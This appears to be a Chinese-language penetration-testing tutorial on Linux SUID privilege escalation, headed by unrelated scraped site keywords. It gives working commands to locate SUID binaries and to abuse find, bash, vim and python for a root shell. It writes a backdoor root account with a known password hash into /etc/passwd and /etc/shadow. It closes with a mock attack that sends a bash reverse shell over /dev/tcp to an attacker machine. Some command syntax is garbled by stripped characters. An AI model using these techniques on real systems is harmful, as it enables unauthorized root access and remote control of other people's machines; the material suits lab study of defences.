建设个电商平台网站需要多少钱,招商网站建设解决方案,如何模仿网站模板,什么是营销型的网站推广系列文章
操作系统权限提升(十八)之Linux提权-内核提权
SUID提权
SUID介绍
SUID是一种特殊权限#xff0c;设置了suid的程序文件#xff0c;在用户执行该程序时#xff0c;用户的权限是该程序文件属主的权限#xff0c;例如程序文件的属主是root#xff0c;那么执行该…系列文章
操作系统权限提升(十八)之Linux提权-内核提权
SUID提权
SUID介绍
SUID是一种特殊权限设置了suid的程序文件在用户执行该程序时用户的权限是该程序文件属主的权限例如程序文件的属主是root那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置它就是设置了suid权限的 注意以下几点
只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.命令执行者要对该程序文件拥有执行(x)权限.命令执行者在执行该程序时获得该程序文件属主的身份.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
设置SUID
chmod us filename 设置SUID位
chmod u-s filename 去掉SUID设置SUID提权原理
原理利用某些二进制文件设置了SUID权限从而用root权限执行系统命令
常见的可以用来提权的命令如下
nmap
vim
find
bash
more
less
nano
cp
awk
mv
更多命令查看https://gtfobins.github.io查找SUID文件
find / -user root -perm -4000 -print 2/dev/null
find / -perm -us -type f 2/dev/null
find / -user root -perm -4000 -exec ls {} \; 2/dev/null一、 find / -user root -perm -4000 -print 2/dev/null
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-user root 是文件的所属者是root
4、-perm -4000
-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
1.普通文件文件的权限一般三位777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm 0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件包含权限位置四位7000为最高即–s–s–t同样的方法
-perm -7000搜索的就是最高权限的文件–s–s–t
-perm 7000搜索的只要包含–s–s–t任意一个的文件–s — —4000、— –s —2000、— — – t1000等5、-print 2/dev/null 将标准错误输入到/dev/null文件
二、 find / -perm -us -type f 2/dev/null
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-perm -us 查找有s权限
4、 -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件
三、 find / -user root -perm -4000 -exec ls -ldb {};
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-user root 是文件的所属者是root
4、-perm -4000
5、-exec ls -ldb {}; 执行 ls -ddb命令
提权实验
FIND提权
find比较常用,find用来在系统中查找文件。同时它也有执行命令的能力。 因此如果配置为使用SUID权限运行则可以通过find执行的命令都将以root身份去运行
1、查找SUID文件
find / -user root -perm -4000 -print 2/dev/null
find / -perm -us -type f 2/dev/null
find / -user root -perm -4000 -exec ls {} \; 2/dev/null2、利用find提权
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quitBASH提权
bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此如果配置为使用SUID权限运行则可以通过bash执行的命令都将以root身份去运行
1、查找SUID文件
find / -user root -perm -4000 -print 2/dev/null
find / -perm -us -type f 2/dev/null
find / -user root -perm -4000 -exec ls {} \; 2/dev/null2、利用bash提权
bash -pVIM提权
利用vim提权的思路是修改/etc/passwd文件和/etc/shadow为自己添加一个有root权限的用户
1、查找SUID文件
find / -user root -perm -4000 -print 2/dev/null
find / -perm -us -type f 2/dev/null
find / -user root -perm -4000 -exec ls {} \; 2/dev/null2、利用bash提权
第一种方式利用vim添加账号
vim /etc/passwd 添加特权用户
添加bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456最后我们切换到bob用户 第二种利用vim打开交互shell
vim -c :py import os; os.execl(/bin/sh, sh, -pc, reset; exec sh -p)PYTHON提权
1、查找SUID文件
find / -user root -perm -4000 -print 2/dev/null
find / -perm -us -type f 2/dev/null
find / -user root -perm -4000 -exec ls {} \; 2/dev/null2、利用提权
python -c import os;os.execl(/bin/sh, sh, -p)大家可以通过这篇文章来深入了解一下SUID提权 谈一谈Linux与suid提权
实战模拟
机器名IPkali192.168.0.105Unbuntu192.168.41.27
前期我们已经通过各种渠道拿下了Unbuntu的机器发现是个普通用户daoer的权限 接下来我们利用SUID进行提权
find / -user root -perm -4000 -print 2/dev/null
find / -perm -us -type f 2/dev/null
find / -user root -perm -4000 -exec ls {} \; 2/dev/null在目标机器上找到可以利用SUID提权的命令
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit完成提权接下来kali机开启监听反弹shell
nc -lvvp 8888bash -i /dev/tcp/192.168.0.105/8888 01kali机收到反弹shell